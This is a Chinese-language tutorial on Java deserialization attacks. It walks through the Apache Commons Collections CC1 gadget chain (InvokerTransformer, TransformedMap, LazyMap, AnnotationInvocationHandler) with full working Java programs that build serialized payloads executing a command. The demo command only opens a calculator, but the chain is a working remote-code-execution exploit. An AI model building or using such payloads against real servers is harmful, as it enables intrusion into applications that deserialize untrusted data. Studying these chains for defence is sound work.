java安全入门(二) 上节的内容,重点要知道:
java是半编译型,半解释性语言,需要将编译好的.class
文件放入JVM中加载
我们通过反射可以从已经运行的JVM中拿到我们想要的类,从类中获取构造方法,进行实例化,调用相关的方法,主要是Runtime的命令执行
java的序列化和反序列化,反序列化时会调用readObject()
方法,我们构造的readObject方法,需要满足和原项目中的包名一样的包名
hexdump -C Calc.class
上节课忘记讲了,,我们在传递数据的时候,为了保险稳定,一般会传入字节码
可以看到,class中是带了包名,我们说过,类是对象的模板,那么,在序列化对象的时候,如果包名出现了问题,自然会遇到一系列问题。
CC链1 我们已经知道了序列化和反序列化漏洞的基本原理,那么怎么通过构造恶意数据,让反序列化产⽣⾮ 预期对象呢?
我们以CC链进行举例
组件介绍 Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ,主要封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合⼯ 具类。
collection是set,list,queue的抽象。
作为Apache开源项⽬的重要组件,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。
Apache Commons Collections中有⼀个特殊的接口,其中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用任意函数,叫做InvokerTransformer。
前置疑问 使用反射获取的Runtime类,为什么可以放到readObject
方法中 实际上,我们简短的描述进行命令执行的化,就是这样,
1 Runtime.class.getMethod("getRuntime" ).invoke("null" ).exec("calc" )
而我们使用反射的原因是因为,我们通过反射获取Runtime
类以后,他就实现了Class本身所继承的Serializable
我么现在写一个最基本的demo
1 2 3 4 5 6 7 8 package com.CC1;public class Demo { public static void main (String[] args) { Class<Runtime> runtimeClass = Runtime.class; } }
当我们使用 ctrl alt v
补全类型以后,会发现他是Class <>的泛型,当我们长按ctrl
,左键点进去之后,就很明显的发现,它实现了Serializable
接口,那么,他就满足了序列化的条件
Runtime 用的时候不用 new吗? 如果你有这样的疑惑,你不妨这样试一下
1 2 3 4 5 6 7 8 9 package com.CC1;public class Demo { public static void main (String[] args) { Runtime runtime; runtime = new Runtime (); } }
它肯定是会报错的,因为他是一个单例类,,具体什么叫单例类,,自己可以看一下java的基础知识去,
参考java设计模式中单例模式就可
这里放一张图
所以我们需要用getRuntime
方法去获取实例
环境
在CC链中使用的类 理解完上面的知识以后,你应该对反射和序列化有了初步的印象,接下来我们需要结合两者看几个demo
Map类是存储键值对的数据结构。 Apache Commons Collections中实现了TransformedMap , 具体的变换逻辑由Transformer类定义。
也就是说,TransformedMap类中的数据发⽣改变时, 可以⾃动对进⾏⼀些特殊的变换,⽐如在数据被修改时,把它改回来; 或者在数据改变时,进⾏⼀ 些我们提前设定好的操作。
而实现怎么样的操作或者便换,都是我们提前设定好的,这叫做transform
我们可以使用TransformedMap.decorate()
方法获取一个TransformedMap
的实例 (同单例类)
TransformedMap.decorate⽅法,预期是对Map类的数据结构进⾏转化,该⽅法有三个参数
第⼀个参数为待转化的Map对象
第⼆个参数为Map对象内的key要经过的转化⽅法(可为单个⽅法,也可为链,也可为空)
第三个参数为Map对象内的value要经过的转化⽅法
Map的其他知识
Map是java中的接⼝,Map.Entry是Map的⼀个内部接⼝。
Map提供了⼀些常⽤⽅法,如keySet()、entrySet()等⽅法。
keySet()⽅法返回值是Map中key值的集合;
entrySet()的返回值也是返回⼀个Set集合,此集合的类型为Map.Entry。
Map.Entry是Map声明的⼀个内部接⼝,此接⼝为泛型,定义为Entry。它表⽰Map中的⼀ 个实体(⼀个key-value对)。接⼝中有getKey(),getValue⽅法,可以⽤来对集合中的元素进⾏ 修改
作用:得到 class 对象
class.forName()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package com.CC1;import org.apache.commons.collections.functors.ConstantTransformer;public class Demo01 { public static void main (String[] args) { ConstantTransformer constantTransformer = new ConstantTransformer (Runtime.class); Object transform = constantTransformer.transform("null" ); System.out.println(transform); System.out.println(transform.getClass().getName()); } }
作用:接⼝于Transformer的类都具备把⼀个对象转化为另⼀个对象的功能
先看一下它最常用的构造方法,可以看到需要传递三个参数
再看一下它的transform
方法
我们可以看到该类接收⼀个对象,获取该对象的名称,然后调⽤了⼀个invoke⽅法传递参数。另外,多 个Transformer还能串起来,形成ChainedTransformer。当触发时,ChainedTransformer可以按顺 序调⽤⼀系列的变换。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package com.CC1;import org.apache.commons.collections.functors.InvokerTransformer;public class Demo02 { public static void main (String[] args) { String cmd = "calc" ; InvokerTransformer transformer = new InvokerTransformer ( "exec" , new Class []{String.class}, new Object []{cmd} ); transformer.transform(Runtime.getRuntime()); } }
当传⼊的参数是⼀个数组的时候,就开始循环读取,对每个参数调⽤ transform ⽅法,从⽽构造出 ⼀条链。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 package com.CC1;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;public class Demo03 { public static void main (String[] args) { String cmd = "calc.exe" ; Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{ String.class, Class[].class}, new Object []{ "getRuntime" , new Class [0 ]} ), new InvokerTransformer ("invoke" , new Class []{ Object.class, Object[].class}, new Object []{ null , new Object [0 ]} ), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{cmd}) }; Transformer transformedChain = new ChainedTransformer (transformers); transformedChain.transform(null ); } }
于是,我们的思路环境就出来了
ConstantTransformer –> 把⼀个对象转换为常量,并返回 ->获取到了Runtime.class
InvokerTransformer –> 通过反射,返回⼀个对象 -> 反射获取执行方法加入参数
ChainedTransformer –>执⾏链式的Transformer⽅法 ->将反射包含的数组进行链式调用,从而连贯起来
当然,这里所调用的每个类自然也是继承了Serializable
接口,例如,
整体思路还是和上节课反射一样,仔细捋一下。上节课我们也提到过最后用数组包含起来传值的思路,这样是不是就理清了很多。
通过上面的几个例子,我们应该可以明白,最终是需要调用transform
方法,才能完成我们最后一步。
但是,问题就来了:
如何传入恶意的ChainedTransformer
;
如何调用transform
方法执行本地命令;
压力就给到了如何调用ChainedTransformer
但是我们看一下由工具ysoserial
构造的payload
org.apache.commons.collections.map.TransformedMap
类间接的实现了java.util.Map接口,同时支持对Map的key或者value进行Transformer转换,调用decorate和decorateTransform方法就可以创建一个TransformedMap:
关键代码如下
1 2 3 4 5 6 7 8 9 public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); } protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; }
Transformer实现类分别 绑定到map的key和value上,当map的key或value被修改时,会调用对应Transformer实现类的transform()方法。
我们可以把chainedtransformer
绑定到一个TransformedMap
上,当此map的key或value发生改变时(调用TransformedMap
的setValue/put/putAll
中的任意方法),就会自动触发chainedtransformer
。
所以,我们的demo’可以如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 package com.CC1;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;public class Demo04 { public static void main (String[] args) { String cmd = "calc.exe" ; Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{ String.class, Class[].class}, new Object []{ "getRuntime" , new Class [0 ]} ), new InvokerTransformer ("invoke" , new Class []{ Object.class, Object[].class}, new Object []{ null , new Object [0 ]} ), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{cmd}) }; Transformer transformedChain = new ChainedTransformer (transformers); Map map = new HashMap (); map.put("value" , "value" ); Map transformedMap = TransformedMap.decorate(map, null , transformedChain); for (Object obj : transformedMap.entrySet()) { Map.Entry entry = (Map.Entry) obj; entry.setValue("test" ); } } }
我们就来总结一下使用TransformedMap
的条件
实现了java.io.Serializable
接口;
并且可以传入我们构建的TransformedMap
对象;
调用了TransformedMap
中的setValue/put/putAll
中的任意方法一个方法的类;
AnnotationInvocationHandler 在AnnotationInvocationHandler
中 ==invoke==方法都调用了get方法参数可控,==readObject==方法中满足setValue()
进行transform
执行
这里以readObject
做例子
这里的readObject
是AnnotationInvocationHandler中的——>具体参考java的多态性质
sun.reflect.annotation.AnnotationInvocationHandler类实现了java.lang.reflect.InvocationHandler(Java动态代理)接口和java.io.Serializable接口,是用来处理注解的一个类。它还重写了readObject方法,在readObject方法中间接的调用了TransformedMap中MapEntry的setValue方法,从而也就触发了transform方法,完成了整个攻击链的调用。
我调了一下,调用堆栈如下
1 2 3 4 5 6 7 8 9 10 11 readObject:428 , AnnotationInvocationHandler (sun.reflect.annotation) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) invokeReadObject:1058 , ObjectStreamClass (java.io) readSerialData:1900 , ObjectInputStream (java.io) readOrdinaryObject:1801 , ObjectInputStream (java.io) readObject0:1351 , ObjectInputStream (java.io) readObject:371 , ObjectInputStream (java.io) main:82 , Demo05 (com.CC1)
可以看到,调用了setValue()
方法
上图中的第352行中的memberValues是AnnotationInvocationHandler的成员变量,memberValues的值是在var1.defaultReadObject();时反序列化生成的,它也就是我们在创建AnnotationInvocationHandler时传入的带有恶意攻击链的TransformedMap。需要注意的是如果我们想要进入到var5.setValue这个逻辑那么我们的序列化的map中的key必须包含创建AnnotationInvocationHandler时传入的注解的方法名。
于是,我们修改后完整的过程如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 package com.CC1;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.util.Arrays;import java.util.HashMap;import java.util.Map;public class Demo05 { public static void main (String[] args) { String cmd = "calc" ; Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{ String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]} ), new InvokerTransformer ("invoke" , new Class []{ Object.class, Object[].class}, new Object []{null , new Object [0 ]} ), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{cmd}) }; Transformer transformedChain = new ChainedTransformer (transformers); Map map = new HashMap (); map.put("value" , "value" ); Map transformedMap = TransformedMap.decorate(map, null , transformedChain); try { Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); Object instance = constructor.newInstance(Target.class, transformedMap); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream out = new ObjectOutputStream (baos); out.writeObject(instance); out.flush(); out.close(); byte [] bytes = baos.toByteArray(); System.out.println("Payload攻击字节数组:" + Arrays.toString(bytes)); ByteArrayInputStream bais = new ByteArrayInputStream (bytes); ObjectInputStream in = new ObjectInputStream (bais); in.readObject(); in.close(); } catch (Exception e) { e.printStackTrace(); } } }
LazyMap 看到这里,你会发现,不对啊,ysoserial
里面是LazyMap
,而我们却没有讲到,这里讲一下
有师傅分析LazyMap
类,里面的get
方法正好符合put
去调用transform
的情况
get方法同时还要求传入一个Object 参数,get方法内部在调用transform方法之前会先判断一下key,如果当前map中不存在key的话,则通过factory来创建一个value
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
Invoke->get(LazyMap)–>put(putAll),setValue—>transform
同时,因为factory是LazyMap类的成员属性,其数据类型也是Transformer
1 2 3 4 5 6 7 8 9 public class LazyMap extends AbstractMapDecorator implements Map , Serializable { private static final long serialVersionUID = 7990956402564206740L ; protected final Transformer factory;
同时还具有我们熟悉的decorate
方法,这个方法和之前TransformedMap中的decorate方法的用法一样,它要求接收两个参数,一个是Map,另一个是Transformer类型的factory,这意味着factory参数是可控的,我们可以通过反射或者构造方法来控制factory参数。
1 public static Map decorate (Map map, Transformer factory) { return new LazyMap (map, factory); }
LazyMap类的利用链问题解决了,但还需要一个类在反序列化的时候触发LazyMap类的get方法,因此还得借助AnnotationInvocationHandler类,通过AnnotationInvocationHandler类的构造方法将LazyMap传递给memberValues,也就是说我们要获得AnnotationInvocationHandler的构造器。
这里我们以invoke()
方法做例子
接下来需要在AnnotationInvocationHandler中寻找哪些方法中调用了get方法,找到了Invoke方法,而且memberValues的值是可控的
1 public Object invoke (Object var1, Method var2, Object[] var3) { Object var6 = this .memberValues.get(var4);}
如何调用AnnotationInvocationHandler类中的invoke方法 答案就是:通过反射将代理对象proxyMap传给AnnotationInvocationHandler的构造方法
由于不是public访问权限 ,直接访问AnnotationInvocationHandler类是行不通的,通过分析AnnotationInvocationHandler类,发现这个类实现了InvocationHandler接口,是不是觉得InvocationHandler接口符合动态代理。
既然我们的目标是调用LazyMap类的get方法,那么可以通过Proxy类的静态方法newProxyInstance来创建LazyMap类的动态代理对象,当lazyMap调用方法时就会调用代理对象的invoke方法。
代理对象 通过分析AnnotationInvocationHandler类,发现这个类实现了InvocationHandler接口,是动态代理的接口。
1 public static Object newProxyInstance (ClassLoader loader, Class<?>[] interfaces, InvocationHandler h) ;
参数loader表示目标对象所属类的加载器,因此这里要传入Map的类加载器
参数interfaces表示目标对象实现的接口(通过反射获取),也就是目标对象lazyMap实现的接口,这里还是传入Map对象
参数h表示代理类要完成的功能,注意参数h的类型时InvocationHandler,因此这里我们要传入AnnotationInvocationHandler对象
具体的话参考此https://blog.csdn.net/u012326462/article/details/81293186
在Spring里面,逐渐演化为AOP思想
思路 通过调试,AnnotationInvocationHandler的构造会将代理对象proxyMap赋值给成员属性memberValues
1 2 3 4 5 6 7 8 9 AnnotationInvocationHandler(Class<? extends Annotation > var1, Map<String, Object> var2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0 ] == Annotation.class) { this .type = var1; this .memberValues = var2; } else { throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); } }
然后AnnotationInvocationHandler对象在反序列化的时候调用重写的readObject方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 private void readObject (ObjectInputStream var1) throws IOException, ClassNotFoundException { Map var3 = var2.memberTypes(); Iterator var4 = this .memberValues.entrySet().iterator(); while (var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null ) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy (var8.getClass() + "[" + var8 + "]" )).setMember((Method)var2.members().get(var6))); } } } }
当调用readObject方法时,memberValues的值就是代理对象proxyMap(也就是LazyMap的代理对象),只要代理对象proxyMap调用方法就会执行AnnotationInvocationHandler中的invoke方法(代理对象调用任何方法In,不管InvocationHandler的invoke方法都会进行拦截,这就是动态代理技术)
所以,我们可以构造为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 package com.CC1;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class Demo06 { public static void main (String[] args) throws ClassNotFoundException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{ String.class, Class[].class}, new Object []{ "getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{ Object.class, Object[].class}, new Object []{ null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc.exe" }), }; Transformer transformerChain = new ChainedTransformer (transformers); Map map = new HashMap (); Map lazyMap = LazyMap.decorate(map, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true ); InvocationHandler annotationInvocationHandler = (InvocationHandler) construct.newInstance(Target.class, lazyMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), lazyMap.getClass().getInterfaces(), annotationInvocationHandler); annotationInvocationHandler = (InvocationHandler) construct.newInstance(Target.class, proxyMap); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(annotationInvocationHandler); oos.close(); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object) ois.readObject(); } }
思路图
参考文章 https://blog.csdn.net/WDWAGAAFGAGDADSA/article/details/122135422
https://blog.csdn.net/qq_35733751/article/details/118462281
https://xz.aliyun.com/t/9873#toc-19